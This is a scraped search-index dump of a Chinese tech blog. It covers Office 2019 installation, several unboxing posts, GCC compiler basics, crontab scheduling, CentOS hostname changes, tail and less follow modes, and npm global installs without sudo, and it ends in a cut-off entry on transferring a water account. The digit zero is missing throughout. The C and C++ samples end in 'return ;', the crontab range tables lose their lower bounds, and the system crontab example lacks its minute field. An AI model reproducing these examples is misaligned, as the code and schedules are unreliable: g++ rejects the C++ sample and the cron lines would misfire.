任意的應用程式時，只要選擇透過網際網路啟動 Office，不用輸入序號就可以完成產品的啟動，這樣就完成整個 Office 家用版 2019 的安裝了。\n","permalink":"https://blog.gtwang.org/windows/office-2019-internet-installation-tutorial/","summary":"\u003cp\u003e本篇介紹如何在購買 Office 2019 之後，透過網路下載安裝檔，線上安裝 Office 軟體並啟用。\u003c/p\u003e\n\u003cp\u003e現在購買\u003ca href=\"/windows/office-2019-home-edition-20190706/\"\u003e盒裝的 Office 軟體\u003c/a\u003e時，都只有一張產品金鑰，沒有附安裝光碟，安裝的時候就直接從網路下載安裝檔，線上安裝。\u003c/p\u003e","title":"網路安裝正版 Office 家用版 2019 步驟教學"},{"content":"本篇是正版盒裝 Office 家用版 2019 的簡單開箱文。\n以往我自己電腦用的 Office 軟體都是學校配發的校園版，而工作之後用的電腦也都已經先裝好 Office 了，一直以來我都不知道正版盒裝的 Office 長成什麼樣子，這次自己買了一套 Office 家用版 2019，終於有機會看到裡面的東西了。\nOffice 家用版 2019 一套定價 4790 元，可安裝在一台 PC 或 Mac，只能在家中使用，屬於買斷型的授權，購買之後可以永久使用，內容包含傳統型 2019 版的 Word、Excel 與 PowerPoint。\n這是外盒側邊的標籤。\n外盒背面有 Office 365 與傳統 Office 家用版的差異。\n打開盒子之後，裡面有一張簡易說明書，還有一小張 Office 序號卡。\n說明書內容很點單，就只是告訴使用者上網註冊的網址而已，Office 的軟體在註冊之後，可直接從網站上下載。\n這一張就是 Office 2019 的序號卡。\n4790 元買的就是這一張。\n序號卡上面有一組 Office 的產品金鑰，安裝 Office 時輸入這一行，就可以完成授權並啟用軟體。\n","permalink":"https://blog.gtwang.org/windows/office-2019-home-edition-20190706/","summary":"\u003cp\u003e本篇是正版盒裝 Office 家用版 2019 的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e以往我自己電腦用的 Office 軟體都是學校配發的校園版，而工作之後用的電腦也都已經先裝好 Office 了，一直以來我都不知道正版盒裝的 Office 長成什麼樣子，這次自己買了一套 Office 家用版 2019，終於有機會看到裡面的東西了。\u003c/p\u003e","title":"[開箱] Office 家用版 2019 正版盒裝序號"},{"content":"本篇介紹如何在 Linux 系統上使用 GCC 編譯器，將寫好的 C 與 C++ 程式碼編譯成執行檔。\nLinux 系統上最常見的 C/C++ 編譯器就是 GCC，它是一個開放原始碼的免費編譯器，幾乎任何的 Linux 系統上都有這個編譯器可用，以下介紹 GCC 的基本用法以及範例。\n編譯與連結 C 程式 假設我們寫好一個 C 程式，常程式碼儲存在 hello.c 這個檔案中，而其內容如下：\n// hello.c #include \u0026lt;stdio.h\u0026gt; int main() { printf(\u0026#34;Hello, world!\\n\u0026#34;); return ; } 若要將 C 的原始碼編譯成執行檔，可以執行 gcc 並指定 C 語言的原始碼檔案：\n# 編譯 C 程式 gcc hello.c GCC 預設會執行編譯與連結，直接產生一個可以執行的程式，輸出至 a.out 這個檔案，完成編譯之後，即可執行這個程式：\n# 執行編譯好的程式 ./a.out Hello, world! 若要指定輸出的執行檔名稱，可以加上 -o 參數，並指定輸出的檔案名稱：\n# 編譯 C 程式，指定輸出檔名 gcc -o hello hello.c # 執行編譯好的程式 ./hello 編譯與連結 C++ 程式 假設我們寫好一個 C++ 的程式儲存在 hello.cpp，內容如下：\n// hello.cpp #include \u0026lt;iostream\u0026gt; using namespace std; int main() { cout \u0026lt;\u0026lt; \u0026#34;Hello, world!\u0026#34; \u0026lt;\u0026lt; endl; return ; } 若要編譯 C++ 的程式，可以使用 g++ 這個編譯程式，並指定 C++ 的原始碼檔案：\n# 編譯 C++ 程式 g++ hello.cpp g++ 跟 gcc 非常類似，預設的輸出也是 a.out 這個檔案：\n# 執行編譯好的程式 ./a.out Hello, world! 若要指定輸出的執行檔名稱，可以加上 -o 參數，並指定輸出的檔案名稱：\n# 編譯 C++ 程式，指定輸出檔名 g++ -o hello hello.cpp # 執行編譯好的程式 ./hello GCC 常用參數 GCC 可用的參數不勝枚舉，這裡我們僅介紹一些初學者常用的參數用法，以及實際的應用範例。\n除錯用參數 假設我們寫了一個 C 語言的程式如下：\n// bug.c #include \u0026lt;stdio.h\u0026gt; int main() { int v; // 未初始化 printf(\u0026#34;v = %d\\n\u0026#34;, v); return ; } 其中我們宣告了一個變數 v，但是卻在沒有定義的狀況下直接使用它，向這樣的程式通常都是有問題的，但是按照一般的編譯方式來說，編譯器並不會顯示錯誤，如果在開發過程想要讓編譯器協助偵測這類的問題，可以加上 -Wall 參數，讓編譯器顯示所有的警告訊息。\n而通常在開發與除錯的階段，都會使用 gdb 來除錯，所以也會加上 -g 參數（如果沒加的話，就無法用 gdb 除錯）。\n所以在開發階段，會很常用到像這樣的指令來編譯程式：\n# 顯示警告訊息、加入除錯資訊 g++ -Wall -g -o hello hello.cpp 定義巨集（Macro） 在開發中大型的程式時，開發者通常會使用一些巨集來處理各種的問題，例如除錯時會需要輸出詳細的訊息，但正式版的程式又不需要，這時候就可以這樣寫：\n// macro.c #include \u0026lt;stdio.h\u0026gt; int main() { printf(\u0026#34;Hello, world!\\n\u0026#34;); #ifdef DEBUG printf(\u0026#34;DEBUG is defined.\\n\u0026#34;); #endif return ; } 這段程式中，我們用 #ifdef 判斷 DEBUG 這個變數是否有被定義，若有被定義的話，就加入輸出除錯的程式碼，這樣一來我們就可以透過 DEBUG 的定義，來決定是否要產生有除錯訊息的執行檔。\n若要定義 DEBUG 這個變數，可將定義直接加在程式碼中：\n// 定義 DEBUG #define DEBUG 也可以直接透過 GCC 的 -D 參數來定義：\n# 定義 DEBUG gcc -DDEBUG macro.c 兩種方式的效果相同，不過使用 GCC 的參數來定義這種時常需要調整的變數，通常會方便很多。\n只編譯不連結 GCC 預設會將 C 的原始碼編譯並連結，產生執行檔，若想讓編譯器只進行編譯、不要連結，可加上 -c 參數，這樣就會建立一個 object 檔：\n# 僅編譯、不連結，建立 obj 檔案 gcc -c hello.c 執行這行之後，就會產生一個 hello.o 檔案，後續若要進行連結，就可以使用這個 object 檔：\n# 連結產生執行檔 gcc -o hello hello.o 通常在大型的專案中，都會將編譯與連結兩個動作拆開，以下是一個典型的例子：\n# 編譯個別 C 檔案 gcc -c a.c gcc -c b.c gcc -c c.c # 連結 gcc -o myapp a.o b.o c.o 這樣作除了可讓程式碼方便管理之外，也可以加快編譯的速度，假設我們在開發過程中，更改了 b.c 的內容，在重新編譯時就只要編譯 b.c，然後即可進連結，省去重新編譯 a.c 與 c.c 的時間。\n最佳化 GCC 可以根據 CPU 的架構，進行最佳化處理，編譯出效能更好的執行檔，可用的選項有 -O（跟 -O1 相同）、-O2 與 -O3，數字越高代表最佳化的程度越高，許多專案在編譯正式版的時候，都會使用 -O2 進行最佳化。\n# 進行最佳化 gcc -O2 -o hello hello.c 標頭檔與函式庫路徑 在編譯程式時，編譯器需要許多標頭檔（*.h 檔案）來編譯原始碼，而連結的時候則會需要一些函式庫（*.a、*.so 等）才能進行連結，但是編譯器只會自動引入一些系統預設的檔案，在大型專案中開發者會需要指定許多額外的標頭檔與函式庫位置，這樣才能讓編譯器順利編譯與連結。\n編譯器會在 include 路徑中，搜尋 C 程式碼中以 #include 所引入的標頭檔，如果需要指定額外的搜尋路徑，可以使用 -I 參數增加搜尋路徑，假設我們有一些標頭檔放在 /home/gtwang/include 目錄下，而要新增這個路徑就可以這樣寫：\n# 新增標頭檔搜尋路徑 gcc -I/home/gtwang/include -o hello hello.c 由於標頭檔的名稱都寫在 C 程式碼中，所以檔名都是已知的，只需要告訴編譯器路徑即可進行編譯。\n在連結時期所需要函式庫名稱與路徑，可以透過 GCC 的 -l 與 -L 參數來指定。在 Linux 中假設有一個 libsum.a 函式庫放在 /home/gtwang/lib 目錄下，若要將其納入連結，則可以這樣寫：\n# 納入指定的函式庫 gcc -lsum -L/home/gtwang/lib -o hello hello.c 關於 C/C++ 的函數庫製作方式，可以參考建立 C/C++ 靜態、共享與動態載入函式庫教學文章。\n參考資料 Study-Area：用 Open Source 工具開發軟體 NTU: GCC and Make ","permalink":"https://blog.gtwang.org/programming/gcc-comipler-basic-tutorial-examples/","summary":"\u003cp\u003e本篇介紹如何在 Linux 系統上使用 GCC 編譯器，將寫好的 C 與 C++ 程式碼編譯成執行檔。\u003c/p\u003e\n\u003cp\u003eLinux 系統上最常見的 C/C++ 編譯器就是 GCC，它是一個開放原始碼的免費編譯器，幾乎任何的 Linux 系統上都有這個編譯器可用，以下介紹 GCC 的基本用法以及範例。\u003c/p\u003e","title":"GCC 編譯器基本使用教學與範例"},{"content":"本篇是 BenQ ScreenBar e-Reading lamp 螢幕智能掛燈的簡單開箱文。\n這是 BenQ ScreenBar e-Reading lamp 螢幕智能掛燈的外盒。\n外盒背面有詳細的安裝說明。\n打開盒子的開箱照。\n這些就是所有的配件，包含一枝智能掛燈、固定夾，還有 USB 電源線。\n使用前要按照說明書的指示，將掛燈組合起來。\n組合的方式很簡單，只要扣上即可，只是要注意組合的方向，不要弄錯即可。\n組好之後，Micro USB 的電源插孔位於燈的後方。\n接著將燈掛在螢幕上方。\n最後插上 Micro USB 電源線，這樣就可以使用了。\n這一枝螢幕智能掛燈會自動偵測環境光線，自動補足適合辦公室的照度，色溫也可以自由調整。而它的按鈕都是採用觸碰式的，輕輕碰一下就可以調整，操作上很方便。\n","permalink":"https://blog.gtwang.org/unboxing/benq-screenbar-e-reading-lamp/","summary":"\u003cp\u003e本篇是 BenQ ScreenBar e-Reading lamp 螢幕智能掛燈的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e這是 BenQ ScreenBar e-Reading lamp 螢幕智能掛燈的外盒。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"BenQ ScreenBar e-Reading lamp 螢幕智能掛燈\" loading=\"lazy\" src=\"/unboxing/benq-screenbar-e-reading-lamp/benq-screenbar-e-reading-lamp-20190527-01.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e外盒背面有詳細的安裝說明。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"外盒背面\" loading=\"lazy\" src=\"/unboxing/benq-screenbar-e-reading-lamp/benq-screenbar-e-reading-lamp-20190527-02.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e打開盒子的開箱照。\u003c/p\u003e","title":"[開箱] BenQ ScreenBar e-Reading lamp 螢幕智能掛燈"},{"content":"本篇介紹如何在 Linux 系統上使用 crontab 工作排程，設定讓系統定時自動執行指定的指令或程式。\nLinux 的管理者或使用者如果需要定期執行某些指令或程式，最常見的方式就是使用 cron 來幫忙管理例行性工作排程，只要設定好 crontab 設定檔之後，系統就會自動依照設定的時間，定期執行重複性的工作。\n查看與編輯 crontab 在 Linux 系統上，每一位使用者都可以自訂自己的 crontab 排程工作，若要查看自己的 crontab 內容，可以使用 crontab 指令加上 -l 參數：\n# 查看自己的 crontab crontab -l 如果是系統管理者要查詢特定使用者的 crontab 的話，可以使用 -u 參數指定使用者名稱：\n# 查看指定使用者的 crontab sudo crontab -u gtwang -l 若要編輯自己的 crontab 內容，可以加上 -e 參數：\n# 編輯 crontab 內容 crontab -e 系統管理者若要編輯特定使用者的 crontab 內容，同樣是加上 -u 參數並指定使用者即可：\n# 編輯指定使用者的 crontab crontab -u gtwang -e 若要刪除目前所有的 crontab，可以使用 -r 參數：\n# 刪除 crontab 內容 crontab -r 個人 crontab 設定 在個人的 crontab 設定中，基本上每一行設定就代表一個要定期執行的程式，其格式如下：\nMIN HOUR DOM MON DOW CMD\n一行設定包含六個部分，各部分的意義如下：\n欄位 說明 可設定的值 MIN 分鐘 到 59 HOUR 小時 到 23 DOM 日 1 到 31 MON 月份 1 到 12，此欄位亦可用英文簡稱取代，例如一月也可以寫 Jan。 DOW 星期幾 （週日）到 6（週六），7 也代表週日。此欄位亦可用英文簡稱取代，例如週日也可以寫 Sun。 CMD 要定期執行的指令 任何可執行的程式或指令稿（包含參數），例如 /path/to/cmd --your --parameter。 除了一般的數字之外，crontab 亦可使用一些特殊字元，每個特殊字元都有不同的意義與適用情況：\n特殊字元 代表意義 星號（*） 代表接受任意時刻，例如若在月份那一欄填入星號，則代表任一月份皆可。 逗號（,） 分隔多個不同時間點。例如若要指定 3:00、6:00 與 9:00 三個時間點執行指令，就可以在第二欄填入 3,6,9。 減號（-） 代表一段時間區間，例如若在第二欄填入 8-12 就代表從 8 點到 12 點的意思，也就是等同於 8,9,10,11,12。 斜線加數字（/n） n 代表數字，這樣寫的意思就是「每隔 n 的單位」的意思，例如若在第一欄填入 */5 就代表每間隔五分鐘執行一次的意思，也可以寫成 0-59/5。 由於 crontab 設定的欄位有點多，不常用的人通常都記不住，建議在編輯 crontab 時，可以將以下的註解貼在設定檔內，方便參考。\n# ┌───────────── 分鐘 (0 - 59) # │ ┌─────────── 小時 (0 - 23) # │ │ ┌───────── 日 (1 - 31) # │ │ │ ┌─────── 月 (1 - 12) # │ │ │ │ ┌───── 星期幾 (0 - 7，0 是週日，6 是週六，7 也是週日) # │ │ │ │ │ # * * * * * /path/to/command 以下是一些最基本的 crontab 設定範例。\n# 每天早上 8 點 30 分執行 30 08 * * * /home/gtwang/script.sh --your --parameter # 每週日下午 6 點 30 分執行 30 18 * * 0 /home/gtwang/script.sh --your --parameter # 每週日下午 6 點 30 分執行 30 18 * * Sun /home/gtwang/script.sh --your --parameter # 每年 6 月 10 日早上 8 點 30 分執行 30 08 10 06 * /home/gtwang/script.sh --your --parameter # 每月 1 日、15 日、29 日晚上 9 點 30 分各執行一次 30 21 1,15,29 * * /home/gtwang/script.sh --your --parameter # 每隔 10 分鐘執行一次 */10 * * * * /home/gtwang/script.sh --your --parameter # 從早上 9 點到下午 6 點，凡遇到整點就執行 00 09-18 * * * /home/gtwang/script.sh --your --parameter 系統設定檔 除了一般使用者各自的排程工作之外，的還有一類的是屬於系統的排程工作，這類的設定寫在 /etc/crontab 檔案與 /etc/cron.d/ 目錄下的各個設定檔中。\n系統的 crontab 設定檔內容跟普通使用者的 crontab 類似，不過多了一個使用者名稱的欄位：\nMIN HOUR DOM MON DOW USER CMD\n例如每小時以 gtwang 帳號權限執行一次，則可以這樣寫：\n# 每小時以 gtwang 帳號權限執行一次 * * * * gtwang /home/gtwang/script.sh --your --parameter 在系統的 crontab 設定檔中，只是多了一個使用者的欄位，其餘的設定方式都跟一般使用者的 crontab 相同。\n特殊排程規則 crontab 除了以標準的格式撰寫排程工作之外，他也有提供幾個常用的特殊排程規則，這種特殊排程規則都以 @ 開頭，以下是每個特殊排程規則的說明：\n排程規則 說明 @reboot 每次重新開機之後，執行一次。 @yearly 每年執行一次，亦即 0 0 1 1 *。 @annually 每年執行一次，亦即 0 0 1 1 *。 @monthly 每月執行一次，亦即 0 0 1 * *。 @weekly 每週執行一次，亦即 0 0 * * 0。 @daily 每天執行一次，亦即 0 0 * * *。 @hourly 每小時執行一次，亦即 0 * * * *。 例如每天執行一次，就可以這樣寫：\n# 每天執行一次 @daily /home/gtwang/script.sh --your --parameter Email 通知設定 crontab 預設會將執行程式的輸出以 Email 送給執行的使用者，若要更改收件者，可以使用 MAILTO 變數指定：\n# 將輸出寄給 gtwang（不論這個 crontab 是誰的） MAILTO=gtwang # 排程設定 30 08 * * * /home/gtwang/script.sh --your --parameter 如果不想讓 crontab 寄送任何 Email 出來，可將 MAILTO 設定為空字串：\n# 不寄送任何 Email MAILTO=\u0026#34;\u0026#34; # 排程設定 30 08 * * * /home/gtwang/script.sh --your --parameter 執行 Shell 若要更改執行工作的 Shell 環境，可以使用 SHELL 來指定要使用的 Shell：\n# 設定使用 /bin/sh 執行 SHELL=/bin/sh # 排程設定 30 08 * * * /home/gtwang/script.sh --your --parameter 限制使用者使用 crontab 由於系統安全性的考量，我們可能會希望限制只有特定的使用者可以使用 crontab，這時候就可以透過系統的 /etc/cron.allow 或 /etc/cron.deny 兩個檔案來設定。\n/etc/cron.allow：如果這個檔案存在，則只有被列在這裡的帳號可以使用 crontab，其餘帳號皆禁止使用，也就是白名單。 /etc/cron.deny：如果這個檔案存在，則被列在這裡的使用者都禁止使用 crontab，也就是黑名單。 /etc/cron.allow 與 /etc/cron.deny 設定檔在列出帳號時，語法都相同，每一行寫一個帳號名稱。如果 /etc/cron.allow 與 /etc/cron.deny 兩個設定檔都不存在，則就只有系統管理者 root 能夠使用 crontab。\n參考資料 鳥哥的 Linux 私房菜 The Geek Stuff nixCraft ","permalink":"https://blog.gtwang.org/linux/linux-crontab-cron-job-tutorial-and-examples/","summary":"\u003cp\u003e本篇介紹如何在 Linux 系統上使用 \u003ccode\u003ecrontab\u003c/code\u003e 工作排程，設定讓系統定時自動執行指定的指令或程式。\u003c/p\u003e\n\u003cp\u003eLinux 的管理者或使用者如果需要定期執行某些指令或程式，最常見的方式就是使用 \u003ccode\u003ecron\u003c/code\u003e 來幫忙管理例行性工作排程，只要設定好 \u003ccode\u003ecrontab\u003c/code\u003e 設定檔之後，系統就會自動依照設定的時間，定期執行重複性的工作。\u003c/p\u003e","title":"Linux 設定 crontab 例行性工作排程教學與範例"},{"content":"本篇介紹如何在 RedHat 或 CentOS Linux 7 的系統中，使用 hostname 與 hostnamectl 指令來查詢並修改主機名稱。\n每一台 Linux 主機都會有一個自己的主機名稱（hostname），若主機名稱沒有設定正確，對許多的網路服務都會造成影響，以下介紹如何在 RedHat 或 CentOS Linux 7 的系統中，查詢與更改主機名稱的設定。\n查詢主機名稱 若要查詢主機名稱，可以使用 hostname 指令。簡短的主機名稱，可以使用 -s 參數查詢：\n# 顯示主機名稱 hostname -s linode02 完整的 FQDN，可以使用 -f 參數查詢：\n# 顯示主機的 FQDN hostname -f linode02.gtwang.org 若要顯示主機所有的 FQDN，則可加上 -A 參數：\n# 顯示主機所有的 FQDN hostname -A li1586-70.members.linode.com linode02.gtwang.org 若要顯示主機的 DNS 網域名稱，則可加上 -d 參數：\n# 顯示主機的 DNS 網域名稱 hostname -d gtwang.org 若主機有設定別名（alias），可用 -a 查詢（不過這個參數已經過時了，不建議繼續使用）：\n# 顯示主機別名 hostname -a 更改主機名稱 若要更改主機名稱，可以使用 hostnamectl 指令，以下是這個指令的使用方式。\n# 顯示目前主機名稱設定 hostnamectl Static hostname: localhost.localdomain Icon name: computer-vm Chassis: vm Machine ID: 50f8c7061d9046bfb883e7cf078f99be Boot ID: 8d2588e972c54d07abe43e0192d0860f Virtualization: vmware Operating System: CentOS Linux 7 (Core) CPE OS Name: cpe:/o:centos:centos:7 Kernel: Linux 3.10.0-957.el7.x86_64 Architecture: x86-64 若要更改主機名稱，可以使用 set-hostname 參數，並指定新的主機名稱，假設我們想將主機名稱設定為 myhost.gtwang.org，則執行：\n# 更改主機名稱設定 hostnamectl set-hostname myhost.gtwang.org 更改完後，再查詢一次，確認設定是否正確：\n# 顯示目前主機名稱設定 hostnamectl Static hostname: myhost.gtwang.org Icon name: computer-vm Chassis: vm Machine ID: 50f8c7061d9046bfb883e7cf078f99be Boot ID: 8d2588e972c54d07abe43e0192d0860f Virtualization: vmware Operating System: CentOS Linux 7 (Core) CPE OS Name: cpe:/o:centos:centos:7 Kernel: Linux 3.10.0-957.el7.x86_64 Architecture: x86-64 這樣就完成主機名稱的更改設定了。\n若需要設定主機的別名（alias），可以參考 hosts 的線上手冊，直接更改 /etc/hosts 的設定。\n# 閱讀 hosts 的線上手冊 man hosts 參考資料 Red Hat ","permalink":"https://blog.gtwang.org/linux/redhat-centos-7-change-hostname-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 RedHat 或 CentOS Linux 7 的系統中，使用 \u003ccode\u003ehostname\u003c/code\u003e 與 \u003ccode\u003ehostnamectl\u003c/code\u003e 指令來查詢並修改主機名稱。\u003c/p\u003e\n\u003cp\u003e每一台 Linux 主機都會有一個自己的主機名稱（hostname），若主機名稱沒有設定正確，對許多的網路服務都會造成影響，以下介紹如何在 RedHat 或 CentOS Linux 7 的系統中，查詢與更改主機名稱的設定。\u003c/p\u003e","title":"Red Hat / CentOS Linux 7 查詢、更改主機名稱設定教學"},{"content":"本篇介紹如何使用 Linux 或 Mac 的 tail 與 less 等指令，及時查看檔案中持續增加的內容。\n許多科學計算與模擬相關的程式在執行時，都會有一個或多個輸出檔案，例如資料輸出檔案、記錄檔（log）等，使用者通常都會根據這些輸出檔案，來判斷程式是否有如自己的預期正常執行。\n假設我們的程式是 my_program，而我們在執行時，將出的訊息都導向至 output.log 這個檔案中儲存起來：\n# 執行程式 ./my_program \u0026gt; output.log 在程式執行的期間，會將輸出的訊息持續寫入 output.log，而我們就可以從這個檔案中檢查程式是否有錯誤。\n若要查看最新的檔案內容，對於剛入門的 Linux 初學者來說，最簡單的方式就是手動重複執行 cat 指令，輸出整個檔案內容：\n# 手動重複查看輸出檔案的最新內容 cat output.log 若要即時監看類似這種持續增加的檔案內容，其實有更好的方式，以下是改用 tail 與 less 的教學。\ntail 跟隨模式 tail 是一個類似 cat 的指令，不過它只會輸出檔案的最後幾行（預設是 10 行），如果加上 -f 參數啟用跟隨模式時，它就會在輸出檔案的最後幾行後，持續等待新增加的檔案內容，只要有新內容加入時，就會自動將其輸出。\n這裡我們以簡單的指令稿示範 tail 跟隨模式的使用方式，首先讓程式輸出的訊息導入 output.log，同時也順便建立這個輸出檔案：\n# 輸出訊息至 output.log echo Hello \u0026gt;\u0026gt; output.log 輸出檔案建立之後，接著開啟另外一個終端機，執行 tail 以跟隨模式監看 output.log 的檔案內容：\n# 以跟隨模式監看 output.log tail -f output.log 這時候 tail 應該就會輸出一行 output.log 既有的內容，並且停在那裏等待新增加的內容。\n這時候回到原來的終端機，再寫入一行新的訊息至 output.log 中：\n# 輸出訊息至 output.log echo World \u0026gt;\u0026gt; output.log 這時候我們在 tail 的輸出中，就會看到新增加的這一行內容了。\n透過 tail 的跟隨模式，我們就可以輕鬆監看程式的最新輸出訊息，不必屢屢手動重複執行 cat 指令了。\n如果要監看的輸出檔案不會在一開始就建立，或是有可能被刪除重建，這種狀況就可以改用 -F 參數，它跟 -f 類似，不過它會在檔案讀取失敗（的檔案不存在）後自動等待並重試。在這種狀況下，就算輸出檔案後來才被建立，或是中途被刪除又重建，也可以正常抓到最新的程式輸出訊息。\n# 失敗時自動重試 tail -F output2.log # 刪除又重建輸出檔案 echo Hello \u0026gt;\u0026gt; output2.log rm output2.log echo Hello2 \u0026gt;\u0026gt; output2.log echo World2 \u0026gt;\u0026gt; output2.log less 跟隨模式 less 是用來快速查看文字檔的小工具，而它也有支援跟隨模式，可以即時將新加入的內容顯示出來。\n首先按照一般的方式執行 less，並指定要監看的檔案：\n# 使用 less 監看 output.log less output.log 接著在 less 的模式下按下 Shift + f 鍵，這樣就會切換到跟隨模式。\n在 less 的跟隨模式之下，只要檔案內容有增加，就會自動顯示出來。在跟隨模式下無法自由上下捲動內容，若要離開跟隨模式，可以按下 Ctrl + c 鍵。\n除了 tail 與 less 這兩個 Linux 與 Mac 內建的工具之外，亦可參考 inotifywait 這個檔案監看工具，它通常用於較複雜的狀況，搭配自行撰寫的 shell 指令稿來使用。\n參考資料 StackExchange ","permalink":"https://blog.gtwang.org/linux/linux-output-file-contents-while-they-change/","summary":"\u003cp\u003e本篇介紹如何使用 Linux 或 Mac 的 \u003ccode\u003etail\u003c/code\u003e 與 \u003ccode\u003eless\u003c/code\u003e 等指令，及時查看檔案中持續增加的內容。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e許多科學計算與模擬相關的程式在執行時，都會有一個或多個輸出檔案，例如資料輸出檔案、記錄檔（log）等，使用者通常都會根據這些輸出檔案，來判斷程式是否有如自己的預期正常執行。\u003c/p\u003e","title":"Linux 及時監看持續變動中的檔案內容"},{"content":"這裡介紹如何更改 npm 的 prefix 設定，解決安裝 global 套件老是需要 root 權限的問題。\n現在許多的網頁開發工具都會使用 npm 套件管理程式來安裝，而在使用 npm install -g 安裝時，如果沒有使用 root 權限，通常都會出現這樣的錯誤訊息：\nnpm ERR! Error: EACCES: permission denied, access '/usr/local/lib/node_modules' 最簡單的解決方式當然就是直接加上 sudo 來安裝，但是這樣其實對於系統安全來說，並不是一個很好的方式。\n如果想要完全以普通使用者的權限來安裝所有的 npm 套件與執行檔，其實只要稍微更改一下它的設定即可，以下是操作步驟。\n更改 npm 的 prefix 設定 執行以下指令，將 npm 的 prefix 設定改為 ~/.local：\n# 更改 npm 的 prefix 設定 npm config set prefix ~/.local 事實上這一行指令的作用就是在自己的 HOME 目錄下建立一個 .npmrc 設定檔，而內容如下：\nprefix=/Users/seal/.local 在經過這樣的設定之後，未來 npm 在使用 -g 參數安裝新的套件時，就會將套件放在 ~/.local/lib/node_modules/，而執行檔的連結則會建立在 ~/.local/bin 之下，這種方式同時適用於 Linux 與 Mac 系統。\n更改 PATH 設定 由於未來所有 npm 套件的執行檔都會放在 ~/.local/bin 目錄下，所以我們要將此目錄加入自己的 PATH 環境變數，這樣在使用時才不會找不到執行檔：\n# 將 ~/.local/bin 加入 PATH export PATH=~/.local/bin:$PATH 這樣設定好之後，未來在使用 npm -g 安裝套件時，就可以不需要使用 root 權限（sudo）了。\n補充說明 這裡的 ~/.local 目錄其實也可以自由換成其他的名稱，只要在 PATH 路徑的設定上都有對應好即可，例如 ~/.npm-global 也可以。\n在選擇目錄名稱時，必須注意不能跟既有的目錄衝突，例如 ~/.npm 這一個目錄就不可以使用，因為它是 npm 預設的快取（cache）目錄。\n若要查看 npm 預設的快取目錄設定，可以執行：\n# 查看 npm 快取目錄設定 npm config get cache /Users/seal/.npm 參考資料 Michael Bethencourt Ronnie Chang ","permalink":"https://blog.gtwang.org/linux/global-npm-install-without-sudo-tutorial/","summary":"\u003cp\u003e這裡介紹如何更改 \u003ccode\u003enpm\u003c/code\u003e 的 \u003ccode\u003eprefix\u003c/code\u003e 設定，解決安裝 global 套件老是需要 \u003ccode\u003eroot\u003c/code\u003e 權限的問題。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e現在許多的網頁開發工具都會使用 \u003ccode\u003enpm\u003c/code\u003e 套件管理程式來安裝，而在使用 \u003ccode\u003enpm install -g\u003c/code\u003e 安裝時，如果沒有使用 \u003ccode\u003eroot\u003c/code\u003e 權限，通常都會出現這樣的錯誤訊息：\u003c/p\u003e","title":"不用 sudo 安裝 npm 全域套件方法教學"},{"content":"本篇是 j5create USB Type-C 10 合 1 擴充基座的簡單開箱文。\n現在大部分新推出的筆記型電腦，USB 接頭的部分都漸漸改為 Type C 的型式，導致一些舊的 USB 設備都不能直接用，像 MacBook Pro 甚至只留下 USB Type C，若要外接螢幕或是投影機的設備，就需要另外準備一個擴充座。\n最近我買了一台 MacBook Pro，所以也順便買了一個 j5create USB Type-C 10 合 1 擴充基座。\n內容物很簡單，就只有一個 Type C 的擴充基座，加上簡單的說明書。\n這一側有一個 VGA 輸出接頭，可以接舊式的螢幕或投影機。\n這一側有一個 HDMI 輸出，以及三個 USB 接頭，其中一個 USB 是\b支援 BC 快充。\n這一側有一個乙太網路孔，以及一個 Type C 的充電孔。\n這一側有一個 SD 卡與一個 MicroSD 卡的插槽。\n","permalink":"https://blog.gtwang.org/unboxing/j5create-usb-type-c-multi-adapter-jcd384/","summary":"\u003cp\u003e本篇是 j5create USB Type-C 10 合 1 擴充基座的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e現在大部分新推出的筆記型電腦，USB 接頭的部分都漸漸改為 Type C 的型式，導致一些舊的 USB 設備都不能直接用，像 MacBook Pro 甚至只留下 USB Type C，若要外接螢幕或是投影機的設備，就需要另外準備一個擴充座。\u003c/p\u003e","title":"[開箱] j5create USB Type-C 10 合 1 擴充基座 JCD384"},{"content":"這裡介紹如何辦理一般家用自來水的過戶。\n有時候因為房屋買賣等因素，我們會需要辦理自來水的過戶，辦理的流程很簡單，如果是新用戶本人臨櫃辦理的話，只要準備好以下資料，到當地的自來水公司服務處辦理即可。\n水費單據或水號或地址。 新用戶的身分證。 新用戶的私章。 如果沒有水費單據的話，也可以直接用水號或地址請自來水幫忙查。自來水工資的水號是 11 